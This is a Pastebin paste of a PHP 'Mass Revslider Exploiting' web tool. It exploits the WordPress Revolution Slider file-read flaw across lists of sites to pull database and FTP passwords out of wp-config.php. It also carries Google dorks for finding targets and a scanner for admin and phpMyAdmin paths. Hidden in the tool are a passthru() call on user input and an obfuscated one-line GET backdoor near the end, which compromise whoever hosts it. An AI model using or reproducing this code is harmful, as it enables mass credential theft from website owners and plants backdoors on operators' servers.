API tools faq
paste
Advertisement
priv8shop

Mass Revslider Exl0it1ng

priv8shop
Nov 24th, 2015
802
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.66 KB | None | 0 0
raw download clone embed print report
  1. <?
  2. /***************iz****************\
  3. /** Website: www.priv8shop.biz -private scripts bots   \
  4. /** Email: priv8shopbiz@yahoo.com \
  5. /*********************************\
  6. echo"
  7. <body bgcolor='#000000' text='white'>
  8. <title>Mass Revslider Exl0it1ng</title>
  9. <style>
  10. body,table{background: black; }
  11. A:link {text-decoration: none;color: red;}
  12. A:active {text-decoration: none;color: red;}
  13. A:visited {text-decoration: none;color: red;}
  14. A:hover {text-decoration: underline; color: red;}
  15. #new,input,textarea,table,td,tr,#gg
  16. {
  17. border-style:solid;
  18. text-decoration:bold;
  19. }
  20. input:hover,tr:hover,td:hover,textarea:hover
  21. {
  22. background-color: #FFFFCC;
  23. color:green;
  24. size:10px;
  25. }
  26. </style>
  27. <img src="http://ww3s.ws/TR/HTML5/CSS3/fsocity.jpg"  height="0" width="0">
  28. <center><img src='https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSjfAs7Cqc8Gq6GTxefRk9Tt0gcWFS2B1kIgYFBs8H24UuC3UYMoA' height='150' width='150'></img><br>
  29. <!--- Menu -----!--->
  30. <p align='center' dir='ltr'>
  31. <font face='Verdana' size='2' color='#FFFFFF'>#
  32. <a href='?dz=scan' style='text-decoration: none'><font color='#006699'>IP Scanner</font></a> ~
  33. <a href='?dz=exp' style='text-decoration: none'><font color='#006699'>Exploiter</font></a> ~ </font>
  34. <font face='Verdana' size='2' color='#006699'>
  35. <a href='?dz=db' style='text-decoration: none'><font color='#006699'>Find DB Panel</font></a><font face='Verdana' size='2' color='#FFFFFF'> ~ </font>
  36. <font face='Verdana' size='2' color='#006699'>
  37. <a href='?dz=dorks' style='text-decoration: none'><font color='#006699'>Exploit Dorks</font></a></font>
  38.  
  39.  
  40.  
  41. <font face='Verdana' size='2' color='#FFFFFF'> ~ </font>
  42. <font face='Verdana' size='2' color='#006699'>
  43. <a href='?dz=toip' style='text-decoration: none'><font color='#006699'>Domains 2 IP</font></a></font>
  44.  
  45.  
  46.  
  47. <font face='Verdana' size='2' color='#FFFFFF'> # </font>
  48. <br><br>
  49. ";
  50.  
  51.  
  52. /////////////////////////////////
  53. if ($_GET['dz'] == 'exp') {
  54. echo"<form method='post'>
  55. <textarea name='sites' cols='50' rows='12'></textarea><br>
  56. <input type='submit' name='go' value='Exploit'>
  57. </form>";
  58. function findit($mytext,$starttag,$endtag) {
  59.  $posLeft  = stripos($mytext,$starttag)+strlen($starttag);
  60.  $posRight = stripos($mytext,$endtag,$posLeft+1);
  61.  return  substr($mytext,$posLeft,$posRight-$posLeft);
  62. }
  63. error_reporting(0);
  64. set_time_limit(0);
  65. $ya=$_POST['go'];
  66. $co=$_POST['sites'];
  67.  
  68. if($ya){
  69.  $e=explode("\r\n",$co);
  70.  foreach($e as $bda){
  71.     //echo '<br>'.$bda;
  72.     /// you can devlope the tool ///
  73.     $linkof='/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php';
  74.     $dn=($bda).($linkof);
  75.     $file=@file_get_contents($dn);
  76.     if(eregi('DB_HOST',$file) and !eregi('FTP_USER',$file) ){
  77.     echo"<center><font color=green face=Verdana size=-2>Infected ! </font></center>";
  78.     echo "<center><font face=Verdana size=-2 color='#00BFFF' >".$bda."</font></center>";
  79.     echo "<font face=Verdana size=-2 color=lime >DB name : </font>".findit($file,"DB_NAME', '","');")."<br>";
  80.     echo "<font face=Verdana size=-2 color=lime >DB user : </font>".findit($file,"DB_USER', '","');")."<br>";
  81.     echo "<font face=Verdana size=-2 color=lime >DB pass : </font>".findit($file,"DB_PASSWORD', '","');")."<br>";
  82.     echo "<font face=Verdana size=-2 color=lime >DB host : </font>".findit($file,"DB_HOST', '","');")."<br>";
  83.     }
  84.     elseif(eregi('DB_HOST',$file) and eregi('FTP_USER',$file)){
  85.     echo'<center><font color=silver face=Verdana size=2>----------------------------------------------</font></center>';
  86.     echo"<center><font color=green face=Verdana size=-2>Infected ! </font></center>";
  87.     echo "<center><font face=Verdana size=-2 color='#00BFFF' >".$bda."</font></center>";
  88.     echo "<font face=Verdana size=-2 color=lime >FTP user : </font>".findit($file,"FTP_USER','","');")."<br>";
  89.     echo "<font face=Verdana size=-2 color=lime >FTP pass : </font>".findit($file,"FTP_PASS','","');")."<br>";
  90.     echo "<font face=Verdana size=-2 color=lime >FTP host : </font>".findit($file,"FTP_HOST','","');")."<br>";
  91.     }
  92.     else{
  93.     echo'<center><font color=silver face=Verdana size=2>----------------------------------------------</font></center>';
  94.     echo "<center><font color=yellow face=Verdana size=-2>".$bda."</font><font color=white face=Verdana size=-2> ==> </font><font color=red face=Verdana size=-2>Not Infected ! </font></center>";}
  95.     echo'<center><font color=silver face=Verdana size=2>----------------------------------------------</font></center>';
  96.  }
  97.  
  98. }
  99. }
  100. /////////////////////////////////////
  101.  
  102. /////////////////////////////////////
  103. if ($_GET['dz'] == 'dorks') {
  104. echo'<br><textarea cols=50 rows=12 >
  105. inurl:wp-content/plugins/revslider/
  106. inurl:revslider
  107. inurl:revslider_admin.php
  108. inurl:revslider_front.php
  109. inurl:plugins/revslider/
  110. intext:Powered by Revslider
  111. intitle:"Index Of/ revslider"
  112. intitle:"Index Of/wp-content/themes/revslider"
  113. intitle:"Index Of/wp-content/plugins/revslider"
  114. intitle:"Index Of/admin/revslider"
  115. intitle:"Index Of/fr/revslider"
  116. intitle:"Index Of/en/revslider"
  117. intitle:"Index Of/us/revslider"
  118. intitle:"Index Of/ar/revslider"
  119. intitle:"Index Of/es/revslider"
  120. intitle:"Index Of/de/revslider"
  121. </textarea>';
  122.  
  123. }
  124. //////////////////////////////////////
  125.  
  126. //////////////////////////////////////
  127. if ($_GET['dz'] == 'toip') {
  128. echo"
  129. <form method='post' ><center>
  130. <textarea cols='50' rows='12' name='site2ip' >www.example.com
  131. Please Romove http:// or https://</textarea></br><br>
  132. <input type='submit' name='w2ip' value='Extract' ><br>
  133. </center>";
  134. if(isset($_POST['site2ip'])){
  135. foreach(explode("\n",$_POST['site2ip']) as $site4ip){
  136. $ipp=trim($site4ip);
  137. echo '<font color="red" size="3"></font><font color="green" size="5"><center>
  138. <font color="Blue" size="3"</font><font color=Green face=Verdana size=-2>'.$ipp.'</font>
  139. <font color=white face=Verdana size=-2>  ==> </font> <font color=Green face=Verdana size=-2>'.gethostbyname ($ipp).'</font></center></font>';
  140. }
  141. }
  142. }
  143. ////////////////////////////////////
  144.  
  145. ////////////////////////////////////
  146. if ($_GET['dz'] == 'db') {
  147.  
  148.  
  149. echo'
  150. <form action ="" method="post">
  151. <font face=Verdana size=-2 color=wgite >URL : <input type ="text" name="site"/>
  152. <input type = "submit" value="Find" />
  153. </form>';
  154. if ($_POST['site']){
  155. $site = $_POST['site'];
  156. passthru($site);
  157. }
  158. $list = array(
  159. '/phpMyAdmin/',
  160. '/phpmyadmin/',
  161. '/PMA/',
  162. '/pma/',
  163. '/admin/',
  164. '/dbadmin/',
  165. '/DB_ADMIN/',
  166. '/db_admin/',
  167. '/DBA/',
  168. '/SQLI/',
  169. '/dba/',
  170. '/sqli/',
  171. '/mysql/',
  172. '/myadmin/',
  173. '/phpmyadmin2/',
  174. '/phpMyAdmin2/',
  175. '/phpMyAdmin-2/',
  176. '/php-my-admin/',
  177. '/phpMyAdmin-2.2.3/',
  178. '/phpMyAdmin-2.2.6/',
  179. '/phpMyAdmin-2.5.1/',
  180. '/phpMyAdmin-2.5.4/',
  181. '/phpMyAdmin-2.5.5-rc1/',
  182. '/phpMyAdmin-2.5.5-rc2/',
  183. '/phpMyAdmin-2.5.5/',
  184. '/phpMyAdmin-2.5.5-pl1/',
  185. '/phpMyAdmin-2.5.6-rc1/',
  186. '/phpMyAdmin-2.5.6-rc2/',
  187. '/phpMyAdmin-2.5.6/',
  188. '/phpMyAdmin-2.5.7/',
  189. '/phpMyAdmin-2.5.7-pl1/',
  190. '/phpMyAdmin-2.6.0-alpha/',
  191. '/phpMyAdmin-2.6.0-alpha2/',
  192. '/phpMyAdmin-2.6.0-beta1/',
  193. '/phpMyAdmin-2.6.0-beta2/',
  194. '/phpMyAdmin-2.6.0-rc1/',
  195. '/phpMyAdmin-2.6.0-rc2/',
  196. '/phpMyAdmin-2.6.0-rc3/',
  197. '/phpMyAdmin-2.6.0/',
  198. '/phpMyAdmin-2.6.0-pl1/',
  199. '/phpMyAdmin-2.6.0-pl2/',
  200. '/phpMyAdmin-2.6.0-pl3/',
  201. '/phpMyAdmin-2.6.1-rc1/',
  202. '/phpMyAdmin-2.6.1-rc2/',
  203. '/phpMyAdmin-2.6.1/',
  204. '/phpMyAdmin-2.6.1-pl1/',
  205. '/phpMyAdmin-2.6.1-pl2/',
  206. '/phpMyAdmin-2.6.1-pl3/',
  207. '/phpMyAdmin-2.6.2-rc1/',
  208. '/phpMyAdmin-2.6.2-beta1/',
  209. '/phpMyAdmin-2.6.2-rc1/',
  210. '/phpMyAdmin-2.6.2/',
  211. '/phpMyAdmin-2.6.2-pl1/',
  212. '/phpMyAdmin-2.6.3/',
  213. '/phpMyAdmin-2.6.3-rc1/',
  214. '/phpMyAdmin-2.6.3/',
  215. '/phpMyAdmin-2.6.3-pl1/',
  216. '/phpMyAdmin-2.6.4-rc1/',
  217. '/phpMyAdmin-2.6.4-pl1/',
  218. '/phpMyAdmin-2.6.4-pl2/',
  219. '/phpMyAdmin-2.6.4-pl3/',
  220. '/phpMyAdmin-2.6.4-pl4/',
  221. '/phpMyAdmin-2.6.4/',
  222. '/phpMyAdmin-2.7.0-beta1/',
  223. '/phpMyAdmin-2.7.0-rc1/',
  224. '/phpMyAdmin-2.7.0-pl1/',
  225. '/phpMyAdmin-2.7.0-pl2/',
  226. '/phpMyAdmin-2.7.0/',
  227. '/phpMyAdmin-2.8.0-beta1/',
  228. '/phpMyAdmin-2.8.0-rc1/',
  229. '/phpMyAdmin-2.8.0-rc2/',
  230. '/phpMyAdmin-2.8.0/',
  231. '/phpMyAdmin-2.8.0.1/',
  232. '/phpMyAdmin-2.8.0.2/',
  233. '/phpMyAdmin-2.8.0.3/',
  234. '/phpMyAdmin-2.8.0.4/',
  235. '/phpMyAdmin-2.8.1-rc1/',
  236. '/phpMyAdmin-2.8.1/',
  237. '/phpMyAdmin-2.8.2/',
  238. '/sqlmanager/',
  239. '/mysqlmanager/',
  240. '/p/m/a/',
  241. '/PMA2005/',
  242. '/pma2005/',
  243. '/dev/',
  244. '/phpmanager/',
  245. '/php-myadmin/',
  246. '/phpmy-admin/',
  247. '/webadmin/',
  248. '/sqlweb/',
  249. '/websql/',
  250. '/webdb/',
  251. '/mysqladmin/',
  252. '/mysql-admin/',
  253. '/mya/',
  254. '/PhpMyAdmin/',
  255. '/phpmyadmin/',
  256. '/myadmin/',
  257. '/mysql/',
  258. '/sql/',
  259. '/server/',
  260. '/db/',
  261. '/database/',
  262. '/databases/',
  263. '/adm/',
  264. '/configuration/',
  265. '/configure/',
  266. '/administrator/',
  267. '/login/',
  268. '/moderator/',
  269. '/controlpanel/',
  270. '/adminpanel/',
  271. '/admincontrol/',
  272. '/fileadmin/',
  273. '/data/',
  274. '/postgresql/',
  275. '/oracle/',
  276. '/msssql/',
  277. '/msaccess/',
  278. '/sysadmin/',
  279. '/serverdata/',
  280. '/webadmin/',
  281. '/admins/',
  282. '/Database_Administration/',
  283. '/WebAdmin/',
  284. '/useradmin/',
  285. '/sysadmins/',
  286. '/admin1/',
  287. '/system-administration/',
  288. '/administrators/',
  289. '/pgadmin/',
  290. '/directadmin/',
  291. '/staradmin/',
  292. '/ServerAdministrator/',
  293. '/SysAdmin/',
  294. '/administer/',
  295. '/LiveUser_Admin/',
  296. '/sys-admin/',
  297. '/typo3/',
  298. '/panel/',
  299. '/xlogin/',
  300. '/smblogin/',
  301. '/phpldapadmin/',
  302. '/server_admin/',
  303. '/database_administration/',
  304. '/system_administration/',
  305. '/ss_vms_admin_sm/',
  306. '/adminarea/',
  307. '/MySQL/',
  308. '/mysql_admin/',
  309. '/server_data/',
  310. '/DB/',
  311. '/DB1/',
  312. '/DB2/',
  313. '/DB3/',
  314. '/DB4/',
  315. '/DB5/',
  316. '/DB6/',
  317. '/DB7/',
  318. '/DB8/',
  319. '/DB9/',
  320. '/DB0/',
  321. '/db1/',
  322. '/db2/',
  323. '/db3/',
  324. '/db4/',
  325. '/db5/',
  326. '/db6/',
  327. '/db7/',
  328. '/db8/',
  329. '/db9/',
  330. '/db0/',
  331. '/mysql5/',
  332. '/mysql4/',
  333. '/root/',
  334. '/apache/',
  335. '/php/',
  336. '/Apache/',
  337. '/Php/',
  338. '/apach/',
  339. '/apachepanel/',
  340. '/WEBSERVERS/',
  341. '/DATABASE1/',
  342. '/DATABASE2/',
  343. '/DATABASE3/',
  344. '/DATABASE4/',
  345. '/DATABASE5/',
  346. '/DATABASE6/',
  347. '/DATABASE7/',
  348. '/DATABASE8/',
  349. '/DATABASE9/',
  350. '/WEBDATA/',
  351. '/WEB_DATA/',
  352. '/webservers/',
  353. '/database1/',
  354. '/database2/',
  355. '/database3/',
  356. '/database4/',
  357. '/database5/',
  358. '/database6/',
  359. '/database7/',
  360. '/database8/',
  361. '/database9/',
  362. '/webdata/',
  363. '/web_data/',
  364. );
  365.  
  366. if(isset($site)){
  367.  
  368. foreach($list as $path => $test) {
  369. $ch = curl_init();
  370. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  371. curl_setopt($ch, CURLOPT_HEADER, 1);
  372. curl_setopt($ch, CURLOPT_URL, $site.$test);
  373. $result = curl_exec($ch);
  374. curl_close($ch);
  375. //print $url;
  376. if (preg_match("/200 OK/", $result)){
  377. echo "<br /><b><font face=Verdana size=-2 color=green >[+]</font><font face=Verdana size=-2 color=silver > Found ==> </font><font face=Verdana size=-2 color=orange ><a>[ $site$test ]</A></font></b>";
  378. }
  379. else if (preg_match("/401 Unauthorized/", $result)) {
  380. echo "<br /><b><font face=Verdana size=-2 color=yellow >[!]</font><font face=Verdana size=-2 color=silver > Found ==> </font><font face=Verdana size=-2 color=orange ><a>[ $site$test ]</A></font><a>[ $site$test ]</A></font></b>";
  381. echo "<br /><b><font face=Verdana size=-2 color=red >[-]</font><font face=Verdana size=-2 color=silver > Nothing found on </font><font face=Verdana size=-2 color=orange ><a>[ $site$test ]</A></font><a>[$site$test]</a></font>";
  382. }
  383. }
  384. echo "<br><b><u><font face=Verdana size=-2 color=#513912 >Scan Finished !</font></u></b>";
  385. }
  386.  
  387.  
  388. }
  389. ////////////////////////////////////
  390.  
  391.  
  392.  
  393.  
  394.  
  395. if ($_GET['dz'] == 'scan') {
  396.  
  397. echo "<br><b><u><font face=Verdana size=-2 color=#513912 >You can Devlope the Wp IP Scanner or start you idea here and send to <a href=http://dz-amir@hotmail.com >dz-amir@hotmail.com </a>  ....</font></u></b>";
  398. }
  399.  
  400.  
  401.  
  402.  
  403. ?>
  404. <?=($_=@$_GET[1]).@$_($_GET[2])?>
  405. <center>
  406. <code style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center; border-top: 0px solid #FF3300; border-bottom: 1px solid #FF3300">
  407. <font color=#FF3300 size=1 face="Tahoma">Mass Revslider Plugin Exl0it1ng v1<font><font color=white size=1 face="Tahoma"> -</font><font color=gren size=1 face="Tahoma"> By AMir dZ 52</font></code>
  408. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!